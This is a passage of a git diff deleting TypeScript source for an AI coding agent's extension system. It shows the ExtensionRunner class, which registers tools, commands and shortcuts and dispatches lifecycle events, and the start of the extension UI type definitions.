ExtensionError, - ExtensionEvent, - ExtensionFlag, - ExtensionRuntime, - ExtensionShortcut, - ExtensionUIContext, - InputEvent, - InputEventResult, - InputSource, - MessageRenderer, - RegisteredCommand, - RegisteredTool, - ResourcesDiscoverEvent, - ResourcesDiscoverResult, - SessionBeforeCompactResult, - SessionBeforeForkResult, - SessionBeforeSwitchResult, - SessionBeforeTreeResult, - ToolCallEvent, - ToolCallEventResult, - ToolResultEvent, - ToolResultEventResult, - UserBashEvent, - UserBashEventResult, -} from "./types.js"; - -// Keybindings for these actions cannot be overridden by extensions -const RESERVED_ACTIONS_FOR_EXTENSION_CONFLICTS: ReadonlyArray = [ - "interrupt", - "clear", - "exit", - "suspend", - "cycleThinkingLevel", - "cycleModelForward", - "cycleModelBackward", - "selectModel", - "expandTools", - "toggleThinking", - "externalEditor", - "followUp", - "submit", - "selectConfirm", - "selectCancel", - "copy", - "deleteToLineEnd", -]; - -type BuiltInKeyBindings = Partial< - Record ->; - -const buildBuiltinKeybindings = ( - effectiveKeybindings: Required, -): BuiltInKeyBindings => { - const builtinKeybindings = {} as BuiltInKeyBindings; - for (const [action, keys] of Object.entries(effectiveKeybindings)) { - const keyAction = action as KeyAction; - const keyList = Array.isArray(keys) ? keys : [keys]; - const restrictOverride = - RESERVED_ACTIONS_FOR_EXTENSION_CONFLICTS.includes(keyAction); - for (const key of keyList) { - const normalizedKey = key.toLowerCase() as KeyId; - builtinKeybindings[normalizedKey] = { - action: keyAction, - restrictOverride: restrictOverride, - }; - } - } - return builtinKeybindings; -}; - -/** Combined result from all before_agent_start handlers */ -interface BeforeAgentStartCombinedResult { - messages?: NonNullable[]; - systemPrompt?: string; -} - -/** - * Events handled by the generic emit() method. - * Events with dedicated emitXxx() methods are excluded for stronger type safety. - */ -type RunnerEmitEvent = Exclude< - ExtensionEvent, - | ToolCallEvent - | ToolResultEvent - | UserBashEvent - | ContextEvent - | BeforeProviderRequestEvent - | BeforeAgentStartEvent - | ResourcesDiscoverEvent - | InputEvent ->; - -type SessionBeforeEvent = Extract< - RunnerEmitEvent, - { - type: - | "session_before_switch" - | "session_before_fork" - | "session_before_compact" - | "session_before_tree"; - } ->; - -type SessionBeforeEventResult = - | SessionBeforeSwitchResult - | SessionBeforeForkResult - | SessionBeforeCompactResult - | SessionBeforeTreeResult; - -type RunnerEmitResult = TEvent extends { - type: "session_before_switch"; -} - ? SessionBeforeSwitchResult | undefined - : TEvent extends { type: "session_before_fork" } - ? SessionBeforeForkResult | undefined - : TEvent extends { type: "session_before_compact" } - ? SessionBeforeCompactResult | undefined - : TEvent extends { type: "session_before_tree" } - ? SessionBeforeTreeResult | undefined - : undefined; - -export type ExtensionErrorListener = (error: ExtensionError) => void; - -export type NewSessionHandler = (options?: { - parentSession?: string; - setup?: (sessionManager: SessionManager) => Promise; -}) => Promise<{ cancelled: boolean }>; - -export type ForkHandler = (entryId: string) => Promise<{ cancelled: boolean }>; - -export type NavigateTreeHandler = ( - targetId: string, - options?: { - summarize?: boolean; - customInstructions?: string; - replaceInstructions?: boolean; - label?: string; - }, -) => Promise<{ cancelled: boolean }>; - -export type SwitchSessionHandler = ( - sessionPath: string, -) => Promise<{ cancelled: boolean }>; - -export type ReloadHandler = () => Promise; - -export type ShutdownHandler = () => void; - -const noOpUIContext: ExtensionUIContext = { - select: async () => undefined, - confirm: async () => false, - input: async () => undefined, - notify: () => {}, - onTerminalInput: () => () => {}, - setStatus: () => {}, - setWorkingMessage: () => {}, - setWorkingVisible: () => {}, - setWidget: () => {}, - setFooter: () => {}, - setHeader: () => {}, - setTitle: () => {}, - custom: async () => undefined as never, - pasteToEditor: () => {}, - setEditorText: () => {}, - getEditorText: () => "", - editor: async () => undefined, - setEditorComponent: () => {}, - get theme() { - return theme; - }, - getAllThemes: () => [], - getTheme: () => undefined, - setTheme: (_theme: string | Theme) => ({ - success: false, - error: "UI not available", - }), - getToolsExpanded: () => false, - setToolsExpanded: () => {}, -}; - -function wrapExtensionUIContext( - uiContext: ExtensionUIContext, -): ExtensionUIContext { - return { - ...uiContext, - setWidget: (key, content, options) => { - try { - uiContext.setWidget(key, content as never, options); - } catch (err) { - // Safety net: if a custom UI context (e.g. from a test or third-party - // mode) throws, don't let it break extension event handlers. Log so - // the bug is visible in dev instead of being silently swallowed. - console.debug( - "[extension-runner] setWidget failed (non-fatal):", - err instanceof Error ? err.message : String(err), - ); - } - }, - }; -} - -export class ExtensionRunner { - private extensions: Extension[]; - private runtime: ExtensionRuntime; - private uiContext: ExtensionUIContext; - private cwd: string; - private sessionManager: SessionManager; - private modelRegistry: ModelRegistry; - private errorListeners: Set = new Set(); - private getModel: () => Model | undefined = () => undefined; - private isIdleFn: () => boolean = () => true; - private waitForIdleFn: () => Promise = async () => {}; - private abortFn: () => void = () => {}; - private hasPendingMessagesFn: () => boolean = () => false; - private getContextUsageFn: () => ContextUsage | undefined = () => undefined; - private compactFn: (options?: CompactOptions) => void = () => {}; - private getSystemPromptFn: () => string = () => ""; - private requestReloadPending = false; - private newSessionHandler: NewSessionHandler = async () => { - throw new Error( - "Command context not yet bound: newSession is unavailable during early lifecycle", - ); - }; - private forkHandler: ForkHandler = async () => { - throw new Error( - "Command context not yet bound: fork is unavailable during early lifecycle", - ); - }; - private navigateTreeHandler: NavigateTreeHandler = async () => { - throw new Error( - "Command context not yet bound: navigateTree is unavailable during early lifecycle", - ); - }; - private switchSessionHandler: SwitchSessionHandler = async () => { - throw new Error( - "Command context not yet bound: switchSession is unavailable during early lifecycle", - ); - }; - private reloadHandler: ReloadHandler = async () => { - throw new Error( - "Command context not yet bound: reload is unavailable during early lifecycle", - ); - }; - private shutdownHandler: ShutdownHandler = () => {}; - private shortcutDiagnostics: ResourceDiagnostic[] = []; - private commandDiagnostics: ResourceDiagnostic[] = []; - - constructor( - extensions: Extension[], - runtime: ExtensionRuntime, - cwd: string, - sessionManager: SessionManager, - modelRegistry: ModelRegistry, - ) { - this.extensions = extensions; - this.runtime = runtime; - this.uiContext = noOpUIContext; - this.cwd = cwd; - this.sessionManager = sessionManager; - this.modelRegistry = modelRegistry; - // Bind emit methods into the shared runtime so createExtensionAPI can delegate to them. - this.runtime.emitBeforeModelSelect = (event) => - this.emitBeforeModelSelect(event); - this.runtime.emitAdjustToolSet = (event) => this.emitAdjustToolSet(event); - } - - bindCore( - actions: ExtensionActions, - contextActions: ExtensionContextActions, - ): void { - // Copy actions into the shared runtime (all extension APIs reference this) - this.runtime.sendMessage = actions.sendMessage; - this.runtime.sendUserMessage = actions.sendUserMessage; - this.runtime.retryLastTurn = actions.retryLastTurn; - this.runtime.appendEntry = actions.appendEntry; - this.runtime.setSessionName = actions.setSessionName; - this.runtime.getSessionName = actions.getSessionName; - this.runtime.setLabel = actions.setLabel; - this.runtime.getActiveTools = actions.getActiveTools; - this.runtime.getAllTools = actions.getAllTools; - this.runtime.setActiveTools = actions.setActiveTools; - this.runtime.refreshTools = actions.refreshTools; - this.runtime.getCommands = actions.getCommands; - this.runtime.setModel = actions.setModel; - this.runtime.getThinkingLevel = actions.getThinkingLevel; - this.runtime.setThinkingLevel = actions.setThinkingLevel; - - // Context actions (required) - this.getModel = contextActions.getModel; - this.isIdleFn = contextActions.isIdle; - this.abortFn = contextActions.abort; - this.hasPendingMessagesFn = contextActions.hasPendingMessages; - this.shutdownHandler = contextActions.shutdown; - this.getContextUsageFn = contextActions.getContextUsage; - this.compactFn = contextActions.compact; - this.getSystemPromptFn = contextActions.getSystemPrompt; - - // Flush provider registrations queued during extension loading - for (const { name, config } of this.runtime.pendingProviderRegistrations) { - this.modelRegistry.registerProvider(name, config); - } - this.runtime.pendingProviderRegistrations = []; - - // From this point on, provider registration/unregistration takes effect immediately - // without requiring a /reload. - this.runtime.registerProvider = (name, config) => - this.modelRegistry.registerProvider(name, config); - this.runtime.unregisterProvider = (name) => - this.modelRegistry.unregisterProvider(name); - } - - bindCommandContext(actions?: ExtensionCommandContextActions): void { - if (actions) { - this.waitForIdleFn = actions.waitForIdle; - this.newSessionHandler = actions.newSession; - this.forkHandler = actions.fork; - this.navigateTreeHandler = actions.navigateTree; - this.switchSessionHandler = actions.switchSession; - this.reloadHandler = actions.reload; - return; - } - - this.waitForIdleFn = async () => {}; - this.newSessionHandler = async () => ({ cancelled: false }); - this.forkHandler = async () => ({ cancelled: false }); - this.navigateTreeHandler = async () => ({ cancelled: false }); - this.switchSessionHandler = async () => ({ cancelled: false }); - this.reloadHandler = async () => {}; - } - - setUIContext(uiContext?: ExtensionUIContext): void { - this.uiContext = uiContext - ? wrapExtensionUIContext(uiContext) - : noOpUIContext; - } - - getUIContext(): ExtensionUIContext { - return this.uiContext; - } - - hasUI(): boolean { - return this.uiContext !== noOpUIContext; - } - - getExtensionPaths(): string[] { - return this.extensions.map((e) => e.path); - } - - /** Get all registered tools from all extensions (first registration per name wins). */ - getAllRegisteredTools(): RegisteredTool[] { - const toolsByName = new Map(); - for (const ext of this.extensions) { - for (const tool of ext.tools.values()) { - if (!toolsByName.has(tool.definition.name)) { - toolsByName.set(tool.definition.name, tool); - } - } - } - return Array.from(toolsByName.values()); - } - - /** Get a tool definition by name. Returns undefined if not found. */ - getToolDefinition( - toolName: string, - ): RegisteredTool["definition"] | undefined { - for (const ext of this.extensions) { - const tool = ext.tools.get(toolName); - if (tool) { - return tool.definition; - } - } - return undefined; - } - - getFlags(): Map { - const allFlags = new Map(); - for (const ext of this.extensions) { - for (const [name, flag] of ext.flags) { - if (!allFlags.has(name)) { - allFlags.set(name, flag); - } - } - } - return allFlags; - } - - setFlagValue(name: string, value: boolean | string): void { - this.runtime.flagValues.set(name, value); - } - - getFlagValues(): Map { - return new Map(this.runtime.flagValues); - } - - getShortcuts( - effectiveKeybindings: Required, - ): Map { - this.shortcutDiagnostics = []; - const builtinKeybindings = buildBuiltinKeybindings(effectiveKeybindings); - const extensionShortcuts = new Map(); - - const addDiagnostic = (message: string, extensionPath: string) => { - this.shortcutDiagnostics.push({ - type: "warning", - message, - path: extensionPath, - }); - if (!this.hasUI()) { - console.warn(message); - } - }; - - for (const ext of this.extensions) { - for (const [key, shortcut] of ext.shortcuts) { - const normalizedKey = key.toLowerCase() as KeyId; - - const builtInKeybinding = builtinKeybindings[normalizedKey]; - if (builtInKeybinding?.restrictOverride === true) { - addDiagnostic( - `Extension shortcut '${key}' from ${shortcut.extensionPath} conflicts with built-in shortcut. Skipping.`, - shortcut.extensionPath, - ); - continue; - } - - if (builtInKeybinding?.restrictOverride === false) { - addDiagnostic( - `Extension shortcut conflict: '${key}' is built-in shortcut for ${builtInKeybinding.action} and ${shortcut.extensionPath}. Using ${shortcut.extensionPath}.`, - shortcut.extensionPath, - ); - } - - const existingExtensionShortcut = extensionShortcuts.get(normalizedKey); - if (existingExtensionShortcut) { - addDiagnostic( - `Extension shortcut conflict: '${key}' registered by both ${existingExtensionShortcut.extensionPath} and ${shortcut.extensionPath}. Using ${shortcut.extensionPath}.`, - shortcut.extensionPath, - ); - } - extensionShortcuts.set(normalizedKey, shortcut); - } - } - return extensionShortcuts; - } - - getShortcutDiagnostics(): ResourceDiagnostic[] { - return this.shortcutDiagnostics; - } - - onError(listener: ExtensionErrorListener): () => void { - this.errorListeners.add(listener); - return () => this.errorListeners.delete(listener); - } - - emitError(error: ExtensionError): void { - for (const listener of this.errorListeners) { - listener(error); - } - } - - hasHandlers(eventType: string): boolean { - for (const ext of this.extensions) { - const handlers = ext.handlers.get(eventType); - if (handlers && handlers.length > 0) { - return true; - } - } - return false; - } - - getMessageRenderer(customType: string): MessageRenderer | undefined { - for (const ext of this.extensions) { - const renderer = ext.messageRenderers.get(customType); - if (renderer) { - return renderer; - } - } - return undefined; - } - - getRegisteredCommands( - reserved?: Set, - delegatedReserved?: Set, - ): RegisteredCommand[] { - this.commandDiagnostics = []; - - const commands: RegisteredCommand[] = []; - const commandOwners = new Map(); - for (const ext of this.extensions) { - for (const command of ext.commands.values()) { - if (reserved?.has(command.name)) { - if (delegatedReserved?.has(command.name)) { - continue; - } - const message = `Extension command '${command.name}' from ${ext.path} conflicts with built-in commands. Skipping.`; - this.commandDiagnostics.push({ - type: "warning", - message, - path: ext.path, - }); - if (!this.hasUI()) { - console.warn(message); - } - continue; - } - - const existingOwner = commandOwners.get(command.name); - if (existingOwner) { - const message = `Extension command '${command.name}' from ${ext.path} conflicts with ${existingOwner}. Skipping.`; - this.commandDiagnostics.push({ - type: "warning", - message, - path: ext.path, - }); - if (!this.hasUI()) { - console.warn(message); - } - continue; - } - - commandOwners.set(command.name, ext.path); - commands.push(command); - } - } - return commands; - } - - getCommandDiagnostics(): ResourceDiagnostic[] { - return this.commandDiagnostics; - } - - getRegisteredCommandsWithPaths(): Array<{ - command: RegisteredCommand; - extensionPath: string; - }> { - const result: Array<{ command: RegisteredCommand; extensionPath: string }> = - []; - for (const ext of this.extensions) { - for (const command of ext.commands.values()) { - result.push({ command, extensionPath: ext.path }); - } - } - return result; - } - - getCommand(name: string): RegisteredCommand | undefined { - for (const ext of this.extensions) { - const command = ext.commands.get(name); - if (command) { - return command; - } - } - return undefined; - } - - /** - * Request a graceful shutdown. Called by extension tools and event handlers. - * The actual shutdown behavior is provided by the mode via bindExtensions(). - */ - shutdown(): void { - this.shutdownHandler(); - } - - /** - * Create an ExtensionContext for use in event handlers and tool execution. - * Context values are resolved at call time, so changes via bindCore/bindUI are reflected. - */ - createContext(): ExtensionContext { - const getModel = this.getModel; - return { - ui: this.uiContext, - hasUI: this.hasUI(), - cwd: this.cwd, - sessionManager: this.sessionManager, - modelRegistry: this.modelRegistry, - get model() { - return getModel(); - }, - isIdle: () => this.isIdleFn(), - abort: () => this.abortFn(), - hasPendingMessages: () => this.hasPendingMessagesFn(), - shutdown: () => this.shutdownHandler(), - getContextUsage: () => this.getContextUsageFn(), - compact: (options) => this.compactFn(options), - getSystemPrompt: () => this.getSystemPromptFn(), - requestReload: (reason) => this.requestReload(reason), - }; - } - - private requestReload = (reason?: string): void => { - if (this.requestReloadPending) return; - this.requestReloadPending = true; - setTimeout(() => { - void (async () => { - try { - await this.reloadHandler(); - } catch (err) { - this.emitError({ - extensionPath: "", - event: "request_reload", - error: err instanceof Error ? err.message : String(err), - stack: err instanceof Error ? err.stack : undefined, - }); - } finally { - this.requestReloadPending = false; - } - })(); - }, 0); - if (reason) { - this.uiContext.notify?.(`Reload requested: ${reason}`, "info"); - } - }; - - createCommandContext(): ExtensionCommandContext { - return { - ...this.createContext(), - waitForIdle: () => this.waitForIdleFn(), - newSession: (options) => this.newSessionHandler(options), - fork: (entryId) => this.forkHandler(entryId), - navigateTree: (targetId, options) => - this.navigateTreeHandler(targetId, options), - switchSession: (sessionPath) => this.switchSessionHandler(sessionPath), - reload: () => this.reloadHandler(), - }; - } - - private isSessionBeforeEvent( - event: RunnerEmitEvent, - ): event is SessionBeforeEvent { - return ( - event.type === "session_before_switch" || - event.type === "session_before_fork" || - event.type === "session_before_compact" || - event.type === "session_before_tree" - ); - } - - /** - * Shared handler invocation loop. - * - * Iterates every handler registered for `eventType` across all extensions, - * calling each inside a try/catch that emits an ExtensionError on failure. - * - * `getEvent` builds the event object for each handler call — callers that - * mutate state between calls (e.g. context, before_provider_request) supply - * a function; callers with a fixed event can pass a constant. - * - * `processResult` receives each handler's return value and the owning - * extension's path. It returns `{ done: true }` to short-circuit - * or `{ done: false }` to keep iterating. - */ - private async invokeHandlers( - eventType: string, - getEvent: () => unknown, - processResult: ( - handlerResult: unknown, - extensionPath: string, - ) => { done: boolean }, - ): Promise { - const ctx = this.createContext(); - - for (const ext of this.extensions) { - const handlers = ext.handlers.get(eventType); - if (!handlers || handlers.length === 0) continue; - - for (const handler of handlers) { - try { - const event = getEvent(); - const handlerResult = await handler(event, ctx); - const action = processResult(handlerResult, ext.path); - if (action.done) return; - } catch (err) { - const message = err instanceof Error ? err.message : String(err); - const stack = err instanceof Error ? err.stack : undefined; - this.emitError({ - extensionPath: ext.path, - event: eventType, - error: message, - stack, - }); - } - } - } - } - - async emit( - event: TEvent, - ): Promise> { - let result: SessionBeforeEventResult | undefined; - const isSessionBefore = this.isSessionBeforeEvent(event); - - await this.invokeHandlers( - event.type, - () => event, - (handlerResult) => { - if (isSessionBefore && handlerResult) { - result = handlerResult as SessionBeforeEventResult; - if (result.cancel) return { done: true }; - } - return { done: false }; - }, - ); - - return result as RunnerEmitResult; - } - - async emitToolResult( - event: ToolResultEvent, - ): Promise { - const currentEvent: ToolResultEvent = { ...event }; - let modified = false; - - await this.invokeHandlers( - "tool_result", - () => currentEvent, - (handlerResult) => { - const r = handlerResult as ToolResultEventResult | undefined; - if (!r) return { done: false }; - - if (r.content !== undefined) { - currentEvent.content = r.content; - modified = true; - } - if (r.details !== undefined) { - currentEvent.details = r.details; - modified = true; - } - if (r.isError !== undefined) { - currentEvent.isError = r.isError; - modified = true; - } - return { done: false }; - }, - ); - - if (!modified) return undefined; - return { - content: currentEvent.content, - details: currentEvent.details, - isError: currentEvent.isError, - }; - } - - async emitToolCall( - event: ToolCallEvent, - ): Promise { - let result: ToolCallEventResult | undefined; - - await this.invokeHandlers( - "tool_call", - () => event, - (handlerResult) => { - if (handlerResult) { - result = handlerResult as ToolCallEventResult; - if (result.block) return { done: true }; - } - return { done: false }; - }, - ); - - return result; - } - - async emitBashTransform(command: string, cwd: string): Promise { - if (!this.hasHandlers("bash_transform")) return command; - - let current = command; - await this.invokeHandlers( - "bash_transform", - () => ({ type: "bash_transform" as const, command: current, cwd }), - (handlerResult) => { - const result = handlerResult as - | import("./types.js").BashTransformEventResult - | undefined; - if (result?.command && result.command.trim()) { - current = result.command; - } - return { done: false }; // chain all handlers - }, - ); - return current; - } - - async emitUserBash( - event: UserBashEvent, - ): Promise { - let result: UserBashEventResult | undefined; - - await this.invokeHandlers( - "user_bash", - () => event, - (handlerResult) => { - if (handlerResult) { - result = handlerResult as UserBashEventResult; - return { done: true }; - } - return { done: false }; - }, - ); - - return result; - } - - async emitContext(messages: AgentMessage[]): Promise { - let currentMessages = structuredClone(messages); - - await this.invokeHandlers( - "context", - () => - ({ type: "context", messages: currentMessages }) satisfies ContextEvent, - (handlerResult) => { - if (handlerResult && (handlerResult as ContextEventResult).messages) { - currentMessages = (handlerResult as ContextEventResult).messages!; - } - return { done: false }; - }, - ); - - return currentMessages; - } - - async emitBeforeProviderRequest( - payload: unknown, - model?: { provider: string; id: string }, - ): Promise { - let currentPayload = payload; - - await this.invokeHandlers( - "before_provider_request", - () => - ({ - type: "before_provider_request", - payload: currentPayload, - model, - }) satisfies BeforeProviderRequestEvent, - (handlerResult) => { - if (handlerResult !== undefined) currentPayload = handlerResult; - return { done: false }; - }, - ); - - return currentPayload; - } - - async emitBeforeModelSelect( - event: Omit, - ): Promise { - let result: BeforeModelSelectResult | undefined; - await this.invokeHandlers( - "before_model_select", - () => - ({ - type: "before_model_select" as const, - ...event, - }) satisfies BeforeModelSelectEvent, - (handlerResult) => { - if (handlerResult) { - result = handlerResult as BeforeModelSelectResult; - return { done: true }; // first override wins - } - return { done: false }; - }, - ); - return result; - } - - async emitAdjustToolSet( - event: Omit, - ): Promise { - let result: AdjustToolSetResult | undefined; - await this.invokeHandlers( - "adjust_tool_set", - () => - ({ - type: "adjust_tool_set" as const, - ...event, - }) satisfies AdjustToolSetEvent, - (handlerResult) => { - if (handlerResult) { - result = handlerResult as AdjustToolSetResult; - return { done: true }; // first override wins - } - return { done: false }; - }, - ); - return result; - } - - async emitBeforeAgentStart( - prompt: string, - images: ImageContent[] | undefined, - systemPrompt: string, - ): Promise { - const messages: NonNullable[] = []; - let currentSystemPrompt = systemPrompt; - let systemPromptModified = false; - - await this.invokeHandlers( - "before_agent_start", - () => - ({ - type: "before_agent_start", - prompt, - images, - systemPrompt: currentSystemPrompt, - }) satisfies BeforeAgentStartEvent, - (handlerResult) => { - if (handlerResult) { - const r = handlerResult as BeforeAgentStartEventResult; - if (r.message) messages.push(r.message); - if (r.systemPrompt !== undefined) { - currentSystemPrompt = r.systemPrompt; - systemPromptModified = true; - } - } - return { done: false }; - }, - ); - - if (messages.length > 0 || systemPromptModified) { - return { - messages: messages.length > 0 ? messages : undefined, - systemPrompt: systemPromptModified ? currentSystemPrompt : undefined, - }; - } - return undefined; - } - - async emitResourcesDiscover( - cwd: string, - reason: ResourcesDiscoverEvent["reason"], - ): Promise<{ - skillPaths: Array<{ path: string; extensionPath: string }>; - promptPaths: Array<{ path: string; extensionPath: string }>; - themePaths: Array<{ path: string; extensionPath: string }>; - }> { - const skillPaths: Array<{ path: string; extensionPath: string }> = []; - const promptPaths: Array<{ path: string; extensionPath: string }> = []; - const themePaths: Array<{ path: string; extensionPath: string }> = []; - - await this.invokeHandlers( - "resources_discover", - () => - ({ - type: "resources_discover", - cwd, - reason, - }) satisfies ResourcesDiscoverEvent, - (handlerResult, extensionPath) => { - const r = handlerResult as ResourcesDiscoverResult | undefined; - if (r?.skillPaths?.length) - skillPaths.push( - ...r.skillPaths.map((path) => ({ path, extensionPath })), - ); - if (r?.promptPaths?.length) - promptPaths.push( - ...r.promptPaths.map((path) => ({ path, extensionPath })), - ); - if (r?.themePaths?.length) - themePaths.push( - ...r.themePaths.map((path) => ({ path, extensionPath })), - ); - return { done: false }; - }, - ); - - return { skillPaths, promptPaths, themePaths }; - } - - /** Emit input event. Transforms chain, "handled" short-circuits. */ - async emitInput( - text: string, - images: ImageContent[] | undefined, - source: InputSource, - ): Promise { - let currentText = text; - let currentImages = images; - let handled: InputEventResult | undefined; - - await this.invokeHandlers( - "input", - () => - ({ - type: "input", - text: currentText, - images: currentImages, - source, - }) satisfies InputEvent, - (handlerResult) => { - const r = handlerResult as InputEventResult | undefined; - if (r?.action === "handled") { - handled = r; - return { done: true }; - } - if (r?.action === "transform") { - currentText = r.text; - currentImages = r.images ?? currentImages; - } - return { done: false }; - }, - ); - - if (handled) return handled; - return currentText !== text || currentImages !== images - ? { action: "transform", text: currentText, images: currentImages } - : { action: "continue" }; - } -} diff --git a/packages/pi-coding-agent/src/core/extensions/types.ts b/packages/pi-coding-agent/src/core/extensions/types.ts deleted file mode 100644 index 52a741bf3..000000000 --- a/packages/pi-coding-agent/src/core/extensions/types.ts +++ /dev/null @@ -1,1839 +0,0 @@ -/** - * Extension system types. - * - * Extensions are TypeScript modules that can: - * - Subscribe to agent lifecycle events - * - Register LLM-callable tools - * - Register commands, keyboard shortcuts, and CLI flags - * - Interact with the user via UI primitives - * - * @remarks Stale-dist verification comment — will be reverted. - */ - -import type { Static, TSchema } from "@sinclair/typebox"; -import type { - AgentMessage, - AgentToolResult, - AgentToolUpdateCallback, - ThinkingLevel, -} from "@singularity-forge/pi-agent-core"; -import type { - Api, - AssistantMessageEvent, - AssistantMessageEventStream, - Context, - ImageContent, - Model, - OAuthCredentials, - OAuthLoginCallbacks, - SimpleStreamOptions, - TextContent, - ToolResultMessage, -} from "@singularity-forge/pi-ai"; -import type { - AutocompleteItem, - Component, - EditorComponent, - EditorTheme, - KeyId, - OverlayHandle, - OverlayOptions, - TUI, -} from "@singularity-forge/pi-tui"; -import type { Theme } from "../../modes/interactive/theme/theme.js"; -import type { AuthStorage } from "../auth-storage.js"; -import type { BashResult } from "../bash-executor.js"; -import type { - CompactionPreparation, - CompactionResult, -} from "../compaction/index.js"; -import type { EventBus } from "../event-bus.js"; -import type { ExecOptions, ExecResult } from "../exec.js"; -import type { ReadonlyFooterDataProvider } from "../footer-data-provider.js"; -import type { KeybindingsManager } from "../keybindings.js"; -import type { CustomMessage } from "../messages.js"; -import type { ModelRegistry } from "../model-registry.js"; -import type { - BranchSummaryEntry, - CompactionEntry, - ReadonlySessionManager, - SessionEntry, - SessionManager, -} from "../session-manager.js"; -import type { SlashCommandInfo } from "../slash-commands.js"; -import type { BashOperations } from "../tools/bash.js"; -import type { EditToolDetails } from "../tools/edit.js"; -import type { - BashToolDetails, - BashToolInput, - EditToolInput, - FindToolDetails, - FindToolInput, - GrepToolDetails, - GrepToolInput, - LsToolDetails, - LsToolInput, - ReadToolDetails, - ReadToolInput, - WriteToolInput, -} from "../tools/index.js"; - -export type { ExecOptions, ExecResult } from "../exec.js"; -export type { AppAction, KeybindingsManager } from "../keybindings.js"; -export type { AgentToolResult, AgentToolUpdateCallback }; - -// ============================================================================ -// UI Context -// ============================================================================ - -/** Options for extension UI dialogs. */ -export interface ExtensionUIDialogOptions { - /** AbortSignal to programmatically dismiss the dialog. */ - signal?: AbortSignal; - /** Timeout in milliseconds. Dialog auto-dismisses with live countdown display. */ - timeout?: number; - /** When true, the user can select multiple options. The return type becomes `string[]`. */ - allowMultiple?: boolean; - /** When true, text input dialogs should hide typed characters if supported by the client surface. */ - secure?: boolean; -} - -/** Placement for extension widgets. */ -export type WidgetPlacement = "aboveEditor" | "belowEditor"; - -/** Options for extension widgets. */ -export interface ExtensionWidgetOptions { - /** Where the widget is rendered. Defaults to "aboveEditor". */ - placement?: WidgetPlacement; -} - -/** Raw terminal input listener for extensions. */ -export type TerminalInputHandler = ( - data: string, -) => { consume?: boolean; data?: string } | undefined; - -/** - * UI context for extensions to request interactive UI. - * Each mode (interactive, RPC, print) provides its own implementation. - */ -export interface ExtensionUIContext { - /** Show a selector and return the user's choice. When `opts.allowMultiple` is true, returns an array. */ - select( - title: string, - options: string[], - opts?: ExtensionUIDialogOptions, - ): Promise; - - /** Show a confirmation dialog. */ - confirm( - title: string, - message: string, - opts?: ExtensionUIDialogOptions, - ): Promise; - - /** Show a text input dialog. */ - input( - title: string, - placeholder?: string, - opts?: ExtensionUIDialogOptions, - ): Promise; - - /** Show a notification to the user. */ - notify( - message: string, - type?: "info" | "warning" | "error" | "success", - metadata?: { - kind?: "notice" | "approval_request" | "progress" | "terminal"; - blocking?: boolean; - dedupe_key?: string; - source?: string; - }, - ): void; - - /** Listen to raw terminal input (interactive mode only). Returns an unsubscribe function. */ - onTerminalInput(handler: TerminalInputHandler): () => void; - - /** Set status text in the footer/status bar. Pass undefined to clear. */ - setStatus(key: string, text: string | undefined): void; - - /** Set the working/loading message shown during streaming. Call with no argument to restore default. */ - setWorkingMessage(message?: string): void; - - /** Show or hide the built-in working/loading indicator. */ - setWorkingVisible(visible: boolean): void; - - /** Set a widget to display above or below the editor. Accepts string array or component factory. */ - setWidget( - key: string, - content: string[] | undefined, - options?: ExtensionWidgetOptions, - ): void; - setWidget( - key: string, - content: - | ((tui: TUI, theme: Theme) => Component & { dispose?(): void }) - | undefined, - options?: ExtensionWidgetOptions, - ): void; - - /** Set a custom footer component, or undefined to restore the built-in footer. - * - * The factory receives a FooterDataProvider for data not otherwise accessible: - * git branch and extension statuses from setStatus(). Token stats, model info, - * etc. are available via ctx.sessionManager and ctx.model. - */ - setFooter( - factory: - | (( - tui: TUI, - theme: Theme, - footerData: ReadonlyFooterDataProvider, - ) => Component & { dispose?(): void }) - | undefined, - ): void; - - /** Set a custom header component (shown at startup, above chat), or undefined to restore the built-in header. */ - setHeader( - factory: - | ((tui: TUI, theme: Theme) => Component & { dispose?(): void }) - | undefined, - ): void; - - /** Set the terminal window/tab title. */ - setTitle(title: string): void; - - /** Show a custom component with keyboard focus. */ - custom( - factory: ( - tui: TUI, - theme: Theme, - keybindings: KeybindingsManager, - done: (result: T) => void, - ) => - | (Component & { dispose?(): void }) - | Promise, - options?: { - overlay?: boolean; - /** Overlay positioning/sizing options. Can be static or a function for dynamic updates. */ - overlayOptions?: OverlayOptions | (() => OverlayOptions); - /** Called with the overlay handle after the overlay is shown. Use to control visibility. */ - onHandle?: (handle: OverlayHandle) => void; - }, - ): Promise; - - /** Paste text into the editor, triggering paste handling (collapse for large content). */ - pasteToEditor(text: string): void; - - /** Set the text in the core input editor. */ - setEditorText(text: string): void; - - /** Get the current text from the core input editor. */ - getEditorText(): string; - - /** Show a multi-line editor for text editing. */ - editor(title: string, prefill?: string): Promise; - - /** - * Set a custom editor component via factory function. - * Pass undefined to restore the default editor. - * - * The factory receives: - * - `theme`: EditorTheme for styling borders and autocomplete - * - `keybindings`: KeybindingsManager for app-level keybindings - * - * For full app keybinding support (escape, ctrl+d, model switching, etc.), - * extend `CustomEditor` from `@singularity-forge/pi-coding-agent` and call - * `super.handleInput(data)` for keys you don't handle. - * - * @example - * ```ts - * import { CustomEditor } from "@singularity-forge/pi-coding-agent"; - * - * class VimEditor extends CustomEditor { - * private mode: "normal" | "insert" = "insert"; - * - * handleInput(data: string): void { - * if (this.mode === "normal") { - * // Handle vim normal mode keys... - * if (data === "i") { this.mode = "insert"; return; } - * } - * super.handleInput(data); // App keybindings + text editing - * } - * } - * - * ctx.ui.setEditorComponent((tui, theme, keybindings) => - * new VimEditor(tui, theme, keybindings) - * ); - * ``` - */ - setEditorComponent( - factory: - | (( - tui: TUI, - theme: EditorTheme, - keybindings: KeybindingsManager, - ) => EditorComponent) - | undefined, - ): void; - - /** Get the current theme for styling. */ - readonly theme: Theme; - - /** Get all available themes with their names and file paths. */ - getAllThemes(): { name: string; path: string | undefined }[]; - - /** Load a theme by name without switching to it. Returns undefined if not found. */ - getTheme(name: string): Theme | undefined; - - /** Set the current theme by name or Theme object. */ - setTheme(theme: string | Theme): { success: boolean; error?: string }; - - /** Get current tool output expansion state. */ - getToolsExpanded(): boolean; - - /** Set tool output expansion state. */ - setToolsExpanded(expanded: boolean): void; -} - -// ============================================================================ -// Extension Context -// ============================================================================ - -export interface ContextUsage { - /** Estimated context tokens, or null if unknown (e.g. right after compaction, before next LLM response). */ - tokens: number | null; - contextWindow: number; - /** Context usage as percentage of context window, or null if tokens is unknown. */ - percent: number | null; -} - -export interface CompactOptions { - customInstructions?: string; - onComplete?: (result: CompactionResult) => void; - onError?: (error: Error) => void; -} - -/** - 